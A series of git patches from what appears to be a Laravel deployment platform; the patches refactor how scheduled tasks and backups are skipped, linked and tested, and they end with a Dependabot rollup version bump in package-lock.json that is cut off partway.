$this->skipDefaultTake)->values() + ); $this->showSkipPrev = $this->skipPage > 0; $this->showSkipNext = ($this->skipPage + $this->skipDefaultTake) < $this->skipTotalCount; $this->skipCurrentPage = intval($this->skipPage / $this->skipDefaultTake) + 1; $this->managerRuns = $parser->getRecentRuns(30, $teamId); } + private function enrichSkipLogsWithLinks(Collection $skipLogs): Collection + { + $taskIds = $skipLogs->where('type', 'task')->pluck('context.task_id')->filter()->unique()->values(); + $backupIds = $skipLogs->where('type', 'backup')->pluck('context.backup_id')->filter()->unique()->values(); + $serverIds = $skipLogs->where('type', 'docker_cleanup')->pluck('context.server_id')->filter()->unique()->values(); + + $tasks = $taskIds->isNotEmpty() + ? ScheduledTask::with(['application.environment.project', 'service.environment.project'])->whereIn('id', $taskIds)->get()->keyBy('id') + : collect(); + + $backups = $backupIds->isNotEmpty() + ? ScheduledDatabaseBackup::with(['database.environment.project'])->whereIn('id', $backupIds)->get()->keyBy('id') + : collect(); + + $servers = $serverIds->isNotEmpty() + ? Server::whereIn('id', $serverIds)->get()->keyBy('id') + : collect(); + + return $skipLogs->map(function (array $skip) use ($tasks, $backups, $servers): array { + $skip['link'] = null; + $skip['resource_name'] = null; + + if ($skip['type'] === 'task') { + $task = $tasks->get($skip['context']['task_id'] ?? null); + if ($task) { + $skip['resource_name'] = $skip['context']['task_name'] ?? $task->name; + $resource = $task->application ?? $task->service; + $environment = $resource?->environment; + $project = $environment?->project; + if ($project && $environment && $resource) { + $routeName = $task->application_id + ? 'project.application.scheduled-tasks' + : 'project.service.scheduled-tasks'; + $routeKey = $task->application_id ? 'application_uuid' : 'service_uuid'; + $skip['link'] = route($routeName, [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + $routeKey => $resource->uuid, + 'task_uuid' => $task->uuid, + ]); + } + } + } elseif ($skip['type'] === 'backup') { + $backup = $backups->get($skip['context']['backup_id'] ?? null); + if ($backup) { + $database = $backup->database; + $skip['resource_name'] = $database?->name ?? 'Database backup'; + $environment = $database?->environment; + $project = $environment?->project; + if ($project && $environment && $database) { + $skip['link'] = route('project.database.backup.index', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]); + } + } + } elseif ($skip['type'] === 'docker_cleanup') { + $server = $servers->get($skip['context']['server_id'] ?? null); + if ($server) { + $skip['resource_name'] = $server->name; + $skip['link'] = route('server.show', ['server_uuid' => $server->uuid]); + } + } + + return $skip; + }); + } + private function getExecutions(?int $teamId = null): Collection { $dateFrom = $this->getDateFrom(); diff --git a/resources/views/livewire/settings/scheduled-jobs.blade.php b/resources/views/livewire/settings/scheduled-jobs.blade.php index 60acc9062..7c0db860f 100644 --- a/resources/views/livewire/settings/scheduled-jobs.blade.php +++ b/resources/views/livewire/settings/scheduled-jobs.blade.php @@ -213,8 +213,8 @@ class="border-b border-gray-200 dark:border-coolgray-400"> + - @@ -235,6 +235,17 @@ class="border-b border-gray-200 dark:border-coolgray-400"> {{ ucfirst(str_replace('_', ' ', $skip['type'])) }} + - @empty diff --git a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php index 8862cc71e..f820c3777 100644 --- a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php +++ b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php @@ -30,8 +30,11 @@ expect($result)->toBeTrue(); }); -it('dispatches backup when job is delayed past the cron minute', function () { - // Freeze time at 02:07 — job was delayed 7 minutes past the 02:00 cron +it('catches delayed job when cache has a baseline from previous run', function () { + // Simulate a previous dispatch yesterday at 02:00 + Cache::put('test-backup:1', Carbon::create(2026, 2, 27, 2, 0, 0, 'UTC')->toIso8601String(), 86400); + + // Freeze time at 02:07 — job was delayed 7 minutes past today's 02:00 cron Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 7, 0, 'UTC')); $job = new ScheduledJobManager; @@ -45,8 +48,8 @@ $method = $reflection->getMethod('shouldRunNow'); $method->setAccessible(true); - // isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 - // No lastDispatched in cache → should run + // isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 today + // lastDispatched = 02:00 yesterday → 02:00 today > yesterday → fires $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1'); expect($result)->toBeTrue(); @@ -106,8 +109,27 @@ expect($result3)->toBeTrue(); }); -it('re-dispatches after cache loss instead of missing', function () { - // First run at 02:00 — dispatches +it('does not fire non-due jobs on restart when cache is empty', function () { + // Time is 10:00, cron is daily at 02:00 — NOT due right now + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // Cache is empty (fresh restart) — should NOT fire daily backup at 10:00 + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4'); + expect($result)->toBeFalse(); +}); + +it('fires due jobs on restart when cache is empty', function () { + // Time is exactly 02:00, cron is daily at 02:00 — IS due right now Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); $job = new ScheduledJobManager; @@ -120,16 +142,8 @@ $method = $reflection->getMethod('shouldRunNow'); $method->setAccessible(true); - $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4'); - - // Simulate Redis restart — cache lost - Cache::forget('test-backup:4'); - - // Run again at 02:01 — should re-dispatch (lastDispatched = null after cache loss) - Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC')); - $executionTimeProp->setValue($job, Carbon::now()); - - $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4'); + // Cache is empty (fresh restart) — but cron IS due → should fire + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4b'); expect($result)->toBeTrue(); }); diff --git a/tests/Feature/ScheduledJobMonitoringTest.php b/tests/Feature/ScheduledJobMonitoringTest.php index 90a3f57a4..036c3b638 100644 --- a/tests/Feature/ScheduledJobMonitoringTest.php +++ b/tests/Feature/ScheduledJobMonitoringTest.php @@ -234,3 +234,39 @@ // Cleanup @unlink($logPath); }); + +test('skipped jobs show fallback when resource is deleted', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + // Temporarily rename existing logs so they don't interfere + $existingLogs = glob(storage_path('logs/scheduled-*.log')); + $renamed = []; + foreach ($existingLogs as $log) { + $tmp = $log.'.bak'; + rename($log, $tmp); + $renamed[$tmp] = $log; + } + + $lines = [ + '['.now()->format('Y-m-d H:i:s').'] production.INFO: Task skipped {"type":"task","skip_reason":"application_not_running","task_id":99999,"task_name":"my-cron-job","team_id":0}', + ]; + file_put_contents($logPath, implode("\n", $lines)."\n"); + + Livewire::test(ScheduledJobs::class) + ->assertStatus(200) + ->assertSee('my-cron-job') + ->assertSee('Application not running'); + + // Cleanup + @unlink($logPath); + foreach ($renamed as $tmp => $original) { + rename($tmp, $original); + } +}); From 9a4b4280be5ad6e238cea4ffc267d64c8cd5289a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Feb 2026 18:37:51 +0100 Subject: [PATCH 119/305] refactor(jobs): split task skip checks into critical and runtime phases Move expensive runtime checks (service/application status) after cron validation to avoid running them for tasks that aren't due. Critical checks (orphans, infrastructure) remain in first phase. Also fix database heading parameters to be built from the model. --- app/Jobs/ScheduledJobManager.php | 49 ++++++++++++++++------- app/Livewire/Project/Database/Heading.php | 6 ++- 2 files changed, 39 insertions(+), 16 deletions(-) diff --git a/app/Jobs/ScheduledJobManager.php b/app/Jobs/ScheduledJobManager.php index 4195a1946..e68e3b613 100644 --- a/app/Jobs/ScheduledJobManager.php +++ b/app/Jobs/ScheduledJobManager.php @@ -214,10 +214,12 @@ private function processScheduledTasks(): void foreach ($tasks as $task) { try { $server = $task->server(); - $skipReason = $this->getTaskSkipReason($task, $server); - if ($skipReason !== null) { + + // Phase 1: Critical checks (always — cheap, handles orphans and infra issues) + $criticalSkip = $this->getTaskCriticalSkipReason($task, $server); + if ($criticalSkip !== null) { $this->skippedCount++; - $this->logSkip('task', $skipReason, [ + $this->logSkip('task', $criticalSkip, [ 'task_id' => $task->id, 'task_name' => $task->name, 'team_id' => $server?->team_id, @@ -237,16 +239,31 @@ private function processScheduledTasks(): void $frequency = VALID_CRON_STRINGS[$frequency]; } - if ($this->shouldRunNow($frequency, $serverTimezone, "scheduled-task:{$task->id}")) { - ScheduledTaskJob::dispatch($task); - $this->dispatchedCount++; - Log::channel('scheduled')->info('Task dispatched', [ + if (! $this->shouldRunNow($frequency, $serverTimezone, "scheduled-task:{$task->id}")) { + continue; + } + + // Phase 2: Runtime checks (only when cron is due — avoids noise for stopped resources) + $runtimeSkip = $this->getTaskRuntimeSkipReason($task); + if ($runtimeSkip !== null) { + $this->skippedCount++; + $this->logSkip('task', $runtimeSkip, [ 'task_id' => $task->id, 'task_name' => $task->name, 'team_id' => $server->team_id, - 'server_id' => $server->id, ]); + + continue; } + + ScheduledTaskJob::dispatch($task); + $this->dispatchedCount++; + Log::channel('scheduled')->info('Task dispatched', [ + 'task_id' => $task->id, + 'task_name' => $task->name, + 'team_id' => $server->team_id, + 'server_id' => $server->id, + ]); } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Error processing task', [ 'task_id' => $task->id, @@ -281,11 +298,8 @@ private function getBackupSkipReason(ScheduledDatabaseBackup $backup, ?Server $s return null; } - private function getTaskSkipReason(ScheduledTask $task, ?Server $server): ?string + private function getTaskCriticalSkipReason(ScheduledTask $task, ?Server $server): ?string { - $service = $task->service; - $application = $task->application; - if (blank($server)) { $task->delete(); @@ -300,17 +314,22 @@ private function getTaskSkipReason(ScheduledTask $task, ?Server $server): ?strin return 'subscription_unpaid'; } - if (! $service && ! $application) { + if (! $task->service && ! $task->application) { $task->delete(); return 'resource_deleted'; } - if ($application && str($application->status)->contains('running') === false) { + return null; + } + + private function getTaskRuntimeSkipReason(ScheduledTask $task): ?string + { + if ($task->application && str($task->application->status)->contains('running') === false) { return 'application_not_running'; } - if ($service && str($service->status)->contains('running') === false) { + if ($task->service && str($task->service->status)->contains('running') === false) { return 'service_not_running'; } diff --git a/app/Livewire/Project/Database/Heading.php b/app/Livewire/Project/Database/Heading.php index 8d3d8e294..c6c9a3c48 100644 --- a/app/Livewire/Project/Database/Heading.php +++ b/app/Livewire/Project/Database/Heading.php @@ -69,7 +69,11 @@ public function manualCheckStatus() public function mount() { - $this->parameters = get_route_parameters(); + $this->parameters = [ + 'project_uuid' => $this->database->environment->project->uuid, + 'environment_uuid' => $this->database->environment->uuid, + 'database_uuid' => $this->database->uuid, + ]; } public function stop() From 6dd436190871d55068b4c0866544b61d283dde7c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 1 Mar 2026 00:04:56 +0000 Subject: [PATCH 120/305] build(deps): bump rollup from 4.57.1 to 4.59.0 Bumps [rollup](https://github.com/rollup/rollup) from 4.57.1 to 4.59.0. - [Release notes](https://github.com/rollup/rollup/releases) - [Changelog](https://github.com/rollup/rollup/blob/master/CHANGELOG.md) - [Commits](https://github.com/rollup/rollup/compare/v4.57.1...v4.59.0) --- updated-dependencies: - dependency-name: rollup dependency-version: 4.59.0 dependency-type: indirect ... Signed-off-by: dependabot[bot] --- package-lock.json | 284 ++++++++++++++++++++++++++++------------------ 1 file changed, 172 insertions(+), 112 deletions(-) diff --git a/package-lock.json b/package-lock.json index 6244197fb..545d7a46a 100644 --- a/package-lock.json +++ b/package-lock.json @@ -595,9 +595,9 @@ "license": "MIT" }, "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.57.1.tgz", - "integrity": "sha512-A6ehUVSiSaaliTxai040ZpZ2zTevHYbvu/lDoeAteHI8QnaosIzm4qwtezfRg1jOYaUmnzLX1AOD6Z+UJjtifg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz", + "integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==", "cpu": [ "arm" ], @@ -609,9 +609,9 @@ ] }, "node_modules/@rollup/rollup-android-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.57.1.tgz", - "integrity": "sha512-dQaAddCY9YgkFHZcFNS/606Exo8vcLHwArFZ7vxXq4rigo2bb494/xKMMwRRQW6ug7Js6yXmBZhSBRuBvCCQ3w==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz", + "integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==", "cpu": [ "arm64" ], @@ -623,9 +623,9 @@ ] }, "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.57.1.tgz", - "integrity": "sha512-crNPrwJOrRxagUYeMn/DZwqN88SDmwaJ8Cvi/TN1HnWBU7GwknckyosC2gd0IqYRsHDEnXf328o9/HC6OkPgOg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz", + "integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==", "cpu": [ "arm64" ], @@ -637,9 +637,9 @@ ] }, "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.57.1.tgz", - "integrity": "sha512-Ji8g8ChVbKrhFtig5QBV7iMaJrGtpHelkB3lsaKzadFBe58gmjfGXAOfI5FV0lYMH8wiqsxKQ1C9B0YTRXVy4w==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz", + "integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==", "cpu": [ "x64" ], @@ -651,9 +651,9 @@ ] }, "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.57.1.tgz", - "integrity": "sha512-R+/WwhsjmwodAcz65guCGFRkMb4gKWTcIeLy60JJQbXrJ97BOXHxnkPFrP+YwFlaS0m+uWJTstrUA9o+UchFug==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz", + "integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==", "cpu": [ "arm64" ], @@ -665,9 +665,9 @@ ] }, "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.57.1.tgz", - "integrity": "sha512-IEQTCHeiTOnAUC3IDQdzRAGj3jOAYNr9kBguI7MQAAZK3caezRrg0GxAb6Hchg4lxdZEI5Oq3iov/w/hnFWY9Q==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz", + "integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==", "cpu": [ "x64" ], @@ -679,9 +679,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.57.1.tgz", - "integrity": "sha512-F8sWbhZ7tyuEfsmOxwc2giKDQzN3+kuBLPwwZGyVkLlKGdV1nvnNwYD0fKQ8+XS6hp9nY7B+ZeK01EBUE7aHaw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz", + "integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==", "cpu": [ "arm" ], @@ -693,9 +693,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.57.1.tgz", - "integrity": "sha512-rGfNUfn0GIeXtBP1wL5MnzSj98+PZe/AXaGBCRmT0ts80lU5CATYGxXukeTX39XBKsxzFpEeK+Mrp9faXOlmrw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz", + "integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==", "cpu": [ "arm" ], @@ -707,9 +707,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.57.1.tgz", - "integrity": "sha512-MMtej3YHWeg/0klK2Qodf3yrNzz6CGjo2UntLvk2RSPlhzgLvYEB3frRvbEF2wRKh1Z2fDIg9KRPe1fawv7C+g==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz", + "integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==", "cpu": [ "arm64" ], @@ -721,9 +721,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.57.1.tgz", - "integrity": "sha512-1a/qhaaOXhqXGpMFMET9VqwZakkljWHLmZOX48R0I/YLbhdxr1m4gtG1Hq7++VhVUmf+L3sTAf9op4JlhQ5u1Q==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz", + "integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==", "cpu": [ "arm64" ], @@ -735,9 +735,9 @@ ] }, "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.57.1.tgz", - "integrity": "sha512-QWO6RQTZ/cqYtJMtxhkRkidoNGXc7ERPbZN7dVW5SdURuLeVU7lwKMpo18XdcmpWYd0qsP1bwKPf7DNSUinhvA==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz", + "integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==", "cpu": [ "loong64" ], @@ -749,9 +749,9 @@ ] }, "node_modules/@rollup/rollup-linux-loong64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.57.1.tgz", - "integrity": "sha512-xpObYIf+8gprgWaPP32xiN5RVTi/s5FCR+XMXSKmhfoJjrpRAjCuuqQXyxUa/eJTdAE6eJ+KDKaoEqjZQxh3Gw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz", + "integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==", "cpu": [ "loong64" ], @@ -763,9 +763,9 @@ ] }, "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.57.1.tgz", - "integrity": "sha512-4BrCgrpZo4hvzMDKRqEaW1zeecScDCR+2nZ86ATLhAoJ5FQ+lbHVD3ttKe74/c7tNT9c6F2viwB3ufwp01Oh2w==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz", + "integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==", "cpu": [ "ppc64" ], @@ -777,9 +777,9 @@ ] }, "node_modules/@rollup/rollup-linux-ppc64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.57.1.tgz", - "integrity": "sha512-NOlUuzesGauESAyEYFSe3QTUguL+lvrN1HtwEEsU2rOwdUDeTMJdO5dUYl/2hKf9jWydJrO9OL/XSSf65R5+Xw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz", + "integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==", "cpu": [ "ppc64" ], @@ -791,9 +791,9 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.57.1.tgz", - "integrity": "sha512-ptA88htVp0AwUUqhVghwDIKlvJMD/fmL/wrQj99PRHFRAG6Z5nbWoWG4o81Nt9FT+IuqUQi+L31ZKAFeJ5Is+A==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz", + "integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==", "cpu": [ "riscv64" ], @@ -805,9 +805,9 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.57.1.tgz", - "integrity": "sha512-S51t7aMMTNdmAMPpBg7OOsTdn4tySRQvklmL3RpDRyknk87+Sp3xaumlatU+ppQ+5raY7sSTcC2beGgvhENfuw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz", + "integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==", "cpu": [ "riscv64" ], @@ -819,9 +819,9 @@ ] }, "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.57.1.tgz", - "integrity": "sha512-Bl00OFnVFkL82FHbEqy3k5CUCKH6OEJL54KCyx2oqsmZnFTR8IoNqBF+mjQVcRCT5sB6yOvK8A37LNm/kPJiZg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz", + "integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==", "cpu": [ "s390x" ], @@ -833,9 +833,9 @@ ] }, "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.57.1.tgz", - "integrity": "sha512-ABca4ceT4N+Tv/GtotnWAeXZUZuM/9AQyCyKYyKnpk4yoA7QIAuBt6Hkgpw8kActYlew2mvckXkvx0FfoInnLg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz", + "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==", "cpu": [ "x64" ], @@ -847,9 +847,9 @@ ] }, "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.57.1.tgz", - "integrity": "sha512-HFps0JeGtuOR2convgRRkHCekD7j+gdAuXM+/i6kGzQtFhlCtQkpwtNzkNj6QhCDp7DRJ7+qC/1Vg2jt5iSOFw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz", + "integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==", "cpu": [ "x64" ], @@ -861,9 +861,9 @@ ] }, "node_modules/@rollup/rollup-openbsd-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.57.1.tgz", - "integrity": "sha512-H+hXEv9gdVQuDTgnqD+SQffoWoc0Of59AStSzTEj/feWTBAnSfSD3+Dql1ZruJQxmykT/JVY0dE8Ka7z0DH1hw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz", + "integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==", "cpu": [ "x64" ], @@ -875,9 +875,9 @@ ] }, "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.57.1.tgz", - "integrity": "sha512-4wYoDpNg6o/oPximyc/NG+mYUejZrCU2q+2w6YZqrAs2UcNUChIZXjtafAiiZSUc7On8v5NyNj34Kzj/Ltk6dQ==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz", + "integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==", "cpu": [ "arm64" ], @@ -889,9 +889,9 @@ ] }, "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.57.1.tgz", - "integrity": "sha512-O54mtsV/6LW3P8qdTcamQmuC990HDfR71lo44oZMZlXU4tzLrbvTii87Ni9opq60ds0YzuAlEr/GNwuNluZyMQ==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz", + "integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==", "cpu": [ "arm64" ], @@ -903,9 +903,9 @@ ] }, "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.57.1.tgz", - "integrity": 